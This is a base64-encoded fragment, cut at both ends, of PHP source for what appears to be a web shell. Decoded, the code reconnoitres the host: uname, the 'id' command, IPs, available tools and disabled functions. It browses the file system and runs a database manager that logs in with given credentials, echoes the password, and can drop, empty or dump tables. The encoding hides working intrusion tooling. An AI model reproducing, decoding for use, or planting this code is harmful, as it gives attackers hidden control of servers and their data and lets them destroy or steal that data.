ZXIoJHNvcnRbMV0pOw0KICAkRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KICBpZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJfU09GVFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24oKTt9DQogICRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IHN0cl9yZXBsYWNlKCJQSFAvIi5waHB2ZXJzaW9uKCksIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj48dT5QSFAvIi5waHB2ZXJzaW9uKCkuIjwvdT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50KTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5kZWZhdWx0IiwkaGlnaGxpZ2h0X2RlZmF1bHQpOw0KICBAaW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7DQogIEBpbmlfc2V0KCJoaWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsNCiAgQGluaV9zZXQoImhpZ2hsaWdodC5zdHJpbmciLCRoaWdobGlnaHRfc3RyaW5nKTsNCiAgaWYgKCFpc19hcnJheSgkYWN0Ym94KSkgeyAkYWN0Ym94ID0gYXJyYXkoKTsgfQ0KICAkZHNwYWN0ID0gJHggPSBodG1sc3BlY2lhbGNoYXJzKCR4KTsNCiAgJGRpc3BfZnVsbHBhdGggPSAkbHNfYXJyID0gJG5vdGxzID0gbnVsbDsNCiAgJHVkID0gdXJsZW5jb2RlKCRkKTsNCiAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICBpZiAoZW1wdHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30NCiAgZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30NCiAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0KICAkZGlzcGQgPSBodG1sc3BlY2lhbGNoYXJzKCRkKTsNCmVjaG8gJGh0bWxfc3RhcnQ7DQplY2hvICI8dGFibGUgaWQ9cGFnZWJhcj48dHI+PHRkIHdpZHRoPTUwJT48cD4iLg0KCSAiU29mdHdhcmUgOiAiLiRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuIiAtIDxhIGhyZWY9Ii4kc3VybC4ieD1waHBpbmk+cGhwLmluaTwvYT48YnI+Ii4NCiAgICAgIlNhZmUgTW9kZTokaHNhZmVtb2RlPGJyPk1hZ2ljIFF1b3RlczokcXVvdDxicj4iLg0KICAgICAiVW5hbWUgLWEgOiAiLnBocF91bmFtZSgpLiI8YnI+IjsNCmlmICghJHdpbikgeyBlY2hvICJpZCA6ICIubXlzaGVsbGV4ZWMoImlkIik7IH0NCmVsc2UgeyBlY2hvICJVc2VyIDogIiAuIGdldF9jdXJyZW50X3VzZXIoKTsgfQ0KZWNobyAiPGJyPjwvcD4iLg0KICAgICAiPHA+U2VydmVyIElQIDogPGEgaHJlZj1odHRwOi8vd2hvaXMuZG9tYWludG9vbHMuY29tLyIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiI+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvYT4gLSAiLg0KICAgICAiWW91ciBJUCA6IDxhIGhyZWY9aHR0cDovL3dob2lzLmRvbWFpbnRvb2xzLmNvbS8iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI+Ii4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPC9hPiI7DQoJIGVjaG8gIjxicj48cD4iOw0KaWYoJHdpbil7ZWNobyAiRHJpdmVzIDogIi5kaXNwX2RyaXZlcygkZCwkc3VybCkuIjwvcD48cD4iO30NCmVjaG8gIkZyZWVzcGFjZSA6ICIuZGlzcF9mcmVlc3BhY2UoJGQpOw0KZWNobyAiPC9wPjxwPiI7DQplY2hvICJNeVNRTDogIi50ZXN0bXlzcWwoKS4iIE1TU1FMOiAiLnRlc3Rtc3NxbCgpLiIgT3JhY2xlOiAiLnRlc3RvcmFjbGUoKS4iIE1TU1FMOiAiLnRlc3Rtc3NxbCgpLiIgUG9zdGdyZVNRTDogIi50ZXN0cG9zdGdyZXNxbCgpLg0KICAgICAiIGNVUkw6ICIudGVzdGN1cmwoKS4iIFdHZXQ6ICIudGVzdHdnZXQoKS4iIEZldGNoOiAiLnRlc3RmZXRjaCgpLiIgUGVybDogIi50ZXN0cGVybCgpLiI8YnI+IjsNCmVjaG8gIkRpc2FibGVkIEZ1bmN0aW9uczogIi5zaG93ZGlzYWJsZWZ1bmN0aW9ucygpOw0KZWNobyAiPC9wPjwvdGQ+PC90cj4iOw0KZWNobyAiPHRyPjx0ZCBjb2xzcGFuPTIgaWQ9bWFpbm1lbnU+IjsNCmlmIChjb3VudCgkcXVpY2tsYXVuY2gyKSA+IDApIHsNCiAgZm9yZWFjaCgkcXVpY2tsYXVuY2gyIGFzICRpdGVtKSB7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgICBpZiAoZW1wdHkoJHYpKSB7DQogICAgICAkYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICB1bnNldCgkYVtjb3VudCgkYSktMl0pOw0KICAgICAgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpOw0KICAgIH0NCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCiAgICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPlxuIjsNCiAgfQ0KfQ0KZWNobyAiPC90ZD48dHI+PHRkIGNvbHNwYW49MiBpZD1tYWlubWVudT4iOw0KaWYgKGNvdW50KCRxdWlja2xhdW5jaDEpID4gMCkgew0KICBmb3JlYWNoKCRxdWlja2xhdW5jaDEgYXMgJGl0ZW0pIHsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFdKTsNCiAgICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICAgIGlmIChlbXB0eSgkdikpIHsNCiAgICAgICRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7DQogICAgICAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7DQogICAgfQ0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOw0KICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+XG4iOw0KICB9DQp9DQplY2hvICI8L3RkPjx0cj48dGQgY29sc3Bhbj0yIGlkPW1haW5tZW51PiI7DQppZiAoY291bnQoJHF1aWNrbGF1bmNoMykgPiAwKSB7DQogIGZvcmVhY2goJHF1aWNrbGF1bmNoMyBhcyAkaXRlbSkgew0KICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRpdGVtWzFdKTsNCiAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAgICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7DQogICAgaWYgKGVtcHR5KCR2KSkgew0KICAgICAgJGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICAgICAgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsNCiAgICAgICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTsNCiAgICB9DQogICAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7DQogICAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT5cbiI7DQogIH0NCn0NCmVjaG8gIjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49Mj4iOw0KZWNobyAiPHAgY2xhc3M9ZmxlZnQ+IjsNCiRwZCA9ICRlID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLHN1YnN0cigkZCwwLC0xKSk7DQokaSA9IDA7DQpmb3JlYWNoKCRwZCBhcyAkYikgew0KICAkdCA9ICIiOyAkaiA9IDA7DQogIGZvcmVhY2ggKCRlIGFzICRyKSB7DQogICAgJHQuPSAkci5ESVJFQ1RPUllfU0VQQVJBVE9SOw0KICAgIGlmICgkaiA9PSAkaSkgeyBicmVhazsgfQ0KICAgICRqKys7DQogIH0NCiAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLnVybGVuY29kZSgkdCkuIiZzb3J0PSIuJHNvcnQuIlwiPjxmb250IGNvbG9yPXJlZD4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvZm9udD48L2E+IjsNCiAgJGkrKzsNCn0NCmVjaG8gIiAtICI7DQppZiAoaXNfd3JpdGFibGUoJGQpKSB7DQogICR3ZCA9IFRSVUU7DQogICR3ZHQgPSAiPGZvbnQgY29sb3I9IzAwRkYwMD5bT0tdPC9mb250PiI7DQogIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJGQpKS4iPC9mb250PjwvYj4iOw0KfQ0KZWxzZSB7DQogICR3ZCA9IEZBTFNFOw0KICAkd2R0ID0gIjxmb250IGNvbG9yPXJlZD5bUmVhZC1Pbmx5XTwvZm9udD4iOw0KICBlY2hvICI8Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsNCn0NCj8+DQo8L3A+DQo8YnIgLz4NCjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJscyI+DQpEaXJlY3Rvcnk6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR28iPg0KPC9mb3JtPg0KPC90ZD48L3RyPjwvdGFibGU+DQo8P3BocA0KZWNobyAiPHRhYmxlIGlkPW1haW5pbmZvPjx0cj48dGQgd2lkdGg9XCIxMDAlXCI+XG4iOw0KaWYgKCR4ID09ICIiKSB7ICR4ID0gJGRzcGFjdCA9ICJscyI7IH0NCmlmICgkeCA9PSAicGhwaW5pIiApIHsgZ2V0X3BocGluaSgpOyB9DQppZiAoJHggPT0gInNxbCIpIHsNCiAgJHNxbF9zdXJsID0gJHN1cmwuIng9c3FsIjsNCiAgaWYgKCRzcWxfbG9naW4pICB7JHNxbF9zdXJsIC49ICImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTt9DQogIGlmICgkc3FsX3Bhc3N3ZCkgeyRzcWxfc3VybCAuPSAiJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTt9DQogIGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9DQogIGlmICgkc3FsX3BvcnQpICAgeyRzcWxfc3VybCAuPSAiJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpO30NCiAgaWYgKCRzcWxfZGIpICAgICB7JHNxbF9zdXJsIC49ICImc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTt9DQogICRzcWxfc3VybCAuPSAiJiI7DQogIGVjaG8gIjx0YWJsZT4iLg0KICAgICAgICI8dHI+PHRkIHdpZHRoPVwiMTAwJVwiIGNvbHNwYW49MiBjbGFzcz1iYXJoZWFkZXI+IjsNCiAgaWYgKCRzcWxfc2VydmVyKSB7DQogICAgJHNxbF9zb2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3Bhc3N3ZCk7DQogICAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgICBAbXlzcWxfc2VsZWN0X2RiKCRzcWxfZGIsJHNxbF9zb2NrKTsNCiAgICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgfQ0KICBlbHNlIHskc3FsX3NvY2sgPSBGQUxTRTt9DQogIGVjaG8gIlsgU1FMIE1hbmFnZXIgXTxicj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9DQogICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY29ubmVjdCEgIi4kZXJyO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkluZGV4Iiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJ4PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfeD1zZXJ2ZXJzdGF0dXMiKTsNCiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX3g9c2VydmVydmFycyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXByb2Nlc3NlcyIpOw0KICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuIng9c3FsIik7DQogICAgZWNobyAiTXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8YnI+IjsNCiAgICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPjx0cj4iOw0KICBpZiAoISRzcWxfc29jaykgew0KICAgIGVjaG8gIjx0ZCB3aWR0aD1cIjI4JVwiIGhlaWdodD1cIjEwMFwiIHZhbGlnbj1cInRvcFwiPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD1cIjkwJVwiIGhlaWdodD0xIHZhbGlnbj1cInRvcFwiPiI7DQogICAgZWNobyAiPHRhYmxlIHdpZHRoPVwiMTAwJVwiIGJvcmRlcj0wPjx0cj48dGQ+PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj48L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj48L3RkPjwvdHI+PGZvcm0gYWN0aW9uPVwiICRzdXJsIFwiIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48dHI+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cInJvb3RcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiXCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCJcIiBtYXhsZW5ndGg9XCI2NFwiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwibG9jYWxob3N0XCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIjMzMDZcIiBtYXhsZW5ndGg9XCI2XCIgc2l6ZT1cIjNcIj48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29ubmVjdFwiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCFlbXB0eSgkc3FsX2RiKSkgew0KICAgICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPg0KICAgICAgPD9waHANCiAgICAgICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgIGVsc2Ugew0KICAgICAgICBlY2hvICItLS1bIDxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT4gXS0tLTxicj4iOw0KICAgICAgICAkYyA9IDA7DQogICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskY291bnQgPSBteXNxbF9xdWVyeSAoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICIuJHJvd1swXSk7ICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOyBlY2hvICI8Yj4rJm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiImc3FsX3RibD0iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iPC9iPjwvYT4gKCIuJGNvdW50X3Jvd1swXS4iKTwvYnI+PC9iPiI7IG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7ICRjKys7fQ0KICAgICAgICBpZiAoISRjKSB7ZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlLiI7fQ0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgID8+PHRkIHdpZHRoPSIxIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNxbF9zdXJsOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+DQogICAgICA8P3BocA0KICAgICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfZGJzKCRzcWxfc29jayk7DQogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgICBlbHNlIHsNCiAgICAgICAgPz48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxzZWxlY3QgbmFtZT0ic3FsX2RiIj4NCiAgICAgICAgPD9waHANCiAgICAgICAgJGMgPSAwOw0KICAgICAgICAkZGJzID0gIiI7DQogICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9kYiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNlbGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwvb3B0aW9uPiI7ICRjKys7fQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+RGF0YWJhc2VzICgiLiRjLiIpPC9vcHRpb24+IjsNCiAgICAgICAgZWNobyAkZGJzOw0KICAgICAgfQ0KICAgICAgPz48L3NlbGVjdD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBzaXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPg0KICAgICAgPD9waHANCiAgICB9DQogICAgZWNobyAiPC90ZD48dGQgd2lkdGg9XCIxMDAlXCI+IjsNCiAgICAkZGlwbGF5ID0gVFJVRTsNCiAgICBpZiAoJHNxbF9kYikgew0KICAgICAgaWYgKCFpc19udW1lcmljKCRjKSkgeyRjID0gMDt9DQogICAgICBpZiAoJGMgPT0gMCkgeyRjID0gIm5vIjt9DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIuJGMuIiB0YWJsZShzKSBpbiB0aGlzIERCICgiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7DQogICAgICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fQ0KICAgICAgZWNobyAiPC9iPjwvY2VudGVyPiI7DQogICAgICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7DQogICAgICBpZiAoJHNxbF94ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX3ggPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxlbXB0eSIpIHskc3FsX3F1ZXJ5ID0gIiI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9ICRzcWxfeCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3